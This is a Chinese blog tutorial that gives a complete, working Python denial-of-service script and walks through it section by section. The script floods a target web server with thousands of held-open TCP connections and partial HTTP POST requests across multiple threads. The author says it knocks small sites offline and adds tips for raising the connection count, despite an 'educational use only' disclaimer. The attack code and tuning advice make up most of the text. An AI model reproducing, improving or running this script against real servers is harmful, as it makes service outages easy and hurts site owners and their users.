DOS_Attack 脚本编写(保姆级教程)

DOS_Attack 脚本编写(保姆级教程)_第1张图片这篇blog我们来聊一下DOS的脚本遍写

声明:本篇文章仅用于教育用途,禁止用于人任何攻击违法行为!!

先上代码,后面在逐行解释:

import socket
import time
import threading

MAX_CONN = 20000        ##建立连接数,你也可以多建几组连接
PORT = 80               ##攻击端口
IP = "目标ip"           ##你所要攻击的ip
PAGE = "对应的网页路径"   ##对应网页路径

Http_referer = ("POST %s HTTP/1.1\r\n"
            "HOST:%s\r\n"                               ##这一部分是请求头
            "Content-Length:%d\r\n"
            "Cookie: dklkt_dos_test\r\n"
            "\r\n" % (PAGE, IP,len(PAGE)))


socks = []                                 ## 建立一个连接的数量的列表


def conn_thread():                                  ##定义线程
    global socks
    for i in range(0, MAX_CONN):                    
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((IP, PORT))
            s.send(Http_referer.encode())
            print("[*]->成功发送连接!,conn=%d\n" % i)
            socks.append(s)
        except Exception as ex:
            print("[*]->无法连接服务器或发送错误:%s\n" % ex)

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("hello,I am DOS hacking you".encode())
            except Exception as ex:
                print("[*]->发送异常:%s\n" % ex)
                socks.remove(s)

conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()                                                 ##开两组线程,你喜欢也可以多开

conn_th2 = threading.Thread(target=conn_thread, args=())
send_th2 = threading.Thread(target=send_thread, args=())
conn_th2.start()
send_th2.start()

哈哈,这时候别人的网站就打不开了。(达到拒绝服务的目的,也就是Bingo_DOS)

DOS_Attack 脚本编写(保姆级教程)_第2张图片

现在,我们来分模块来解析这个脚本:
 

1.模块导入

我们先导入了 time(我咋感觉这个没什么用 ),threading ,socket 三个模块

2.建立"Payload"

其实也不能算Payload吧,但是我觉得这样子叫挺好的:

MAX_CONN = 20000        ##建立连接数,你也可以多建几组连接
PORT = 80               ##攻击端口
IP = "目标ip"           ##你所要攻击的ip
PAGE = "对应的网页路径"   ##对应网页路径
  • MAX_CONN:这里表示最大连接数(这里建议尽量写多一点,不然后面会有对DOS的攻击效果有影响,这个后面我会解释)
  • PORT:这里就是定义端口了,像一般的网页http/https所对应的一般都是80/443端口
  • IP:这里要写到受害者的ip了,当然了,你要写他的域名也是可以的,像baidu.com
  • PAGE:这里写的就是具体的网络路径了,就是域名后面的一长串

3.http请求头

Http_referer = ("POST %s HTTP/1.1\r\n"
            "HOST:%s\r\n"                               ##这一部分是请求头
            "Content-Length:%d\r\n"
            "Cookie: dklkt_dos_test\r\n"
            "\r\n" % (PAGE, IP,len(PAGE)))
  • 这一段就是基本的http的请求头了,我们话不多说,往下走

4.放置连接成功的请求

socks = [ ]

所有建立成功连接的请求都会被放在这里

5.定义连接线程

这里就要涉及到一些网络编程->套接字啦

  • DOS_Attack 脚本编写(保姆级教程)_第3张图片
def conn_thread():                                  ##定义线程
    global socks
    for i in range(0, MAX_CONN):                    
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((IP, PORT))
            s.send(Http_referer.encode())
            print("[*]->成功发送连接!,conn=%d\n" % i)
            socks.append(s)
        except Exception as ex:
            print("[*]->无法连接服务器或发送错误:%s\n" % ex)
  • 先后把sock"拿"进来这个函数使用
  • for循环是从第一个开始到你定义的连接数为止,分别建立套接字对象,
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

这里就是建立套接字,这里就是ipv4,tcp的格式,毕竟我一直建立着tcp连接的话,这样占用的带宽资源更多嘛(相对于UDP)

try:
            s.connect((IP, PORT))
            s.send(Http_referer.encode())
            print("[*]->成功发送连接!,conn=%d\n" % i)
            socks.append(s)
  • 首先建立一个s套接字的连接(这里就是网络编程了)
  • 接着就是将http的请求头发送了,如果发生一切正常,那么就会有相应输出,然后将连接成功的套接字存储在socks中
  except Exception as ex:
            print("[*]->无法连接服务器或发送错误:%s\n" % ex)
  • 如果连接或者发送数据失败的话,那么except模块就会捕获这个错误,并且将错误输出

6.定义发送线程

建立了一个连接线程之后还是不够的,我们还得给他发点东西(防止对方因为没有响应结束掉我们的进程)

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("hello,I am DOS's hacking you".encode())
            except Exception as ex:
                print("[*]->发送异常:%s\n" % ex)
                socks.remove(s)
  • 可以看到我们是先写死了一个while循环
  • 然后对每一个在socks连接成功的对象,进行发送信息的操作(我是发送了经过编码后的"hello,I am DOS hacking you"哈哈哈,简单粗暴)
  • 当发送错误的时候,我们还是会回显发送错误的信息,并且将这个套接字对象移除

其实这里移除的话,也是被迫无奈,因为发送不成功不一定是连接中断,有可能是发送的数据丢包了呢(连接还是完好的),但是另可杀错一百,也不能放过一个嘛哈哈哈~~ 

                ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​​​​​​​​        ​​​​​​​        DOS_Attack 脚本编写(保姆级教程)_第4张图片

7.创建线程

最后这里就是创建线程了(嘶~~,为什么这段代码没有颜色??)

conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start() 

这个就是直接套模板了,也没什么好说的,你变态一点,可以开多个线程哈(但是我不能确保你的电脑会不会卡死hhhh~~)DOS_Attack 脚本编写(保姆级教程)_第5张图片

8.代码的注意事项

  • 首先不能乱打别人的网站我就不多说了,哈哈哈
  • 然后就是这个代码你运行起来可能会收获一个这样的问题(当你MAX_CONN数量很少的时候)  哈哈,你怎么知道我用的是天选

DOS_Attack 脚本编写(保姆级教程)_第6张图片这可能发生在多个线程同时尝试移除同一个元素时,其中一个线程成功移除,而另一个线程在尝试移除时发现元素不存在导致的,所以解决的方法就是把MAX_CONN开大一点,或者说你开一个互斥锁也是可以的,不过对应的代码就要发生更改,也会更加复杂(这对新手不太友好,这里就不说了)

  • 最后,这个代码只是一个最简单的DOS攻击(不是DDOS)总有人会搞混,(混了的可以看一下我之前发的《“朴实无华”的DDOS攻击》这篇blog),对于一下小网站还是有用的,但是对于一些大企业(有强大的防御设备的)是没有用的,相反你如果攻击他们你还会暴露自己,从而导致:        ​​​​​​​        ​​​​​​​        ​​​​​​​DOS_Attack 脚本编写(保姆级教程)_第7张图片

好了,那么今天的分享就到这里,喜欢博主的小伙伴可以点点赞收藏一下哦

        ​​​​​​​        ​​​​​​​        ​​​​​​​​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​DOS_Attack 脚本编写(保姆级教程)_第8张图片

你可能感兴趣的:(python,开发语言)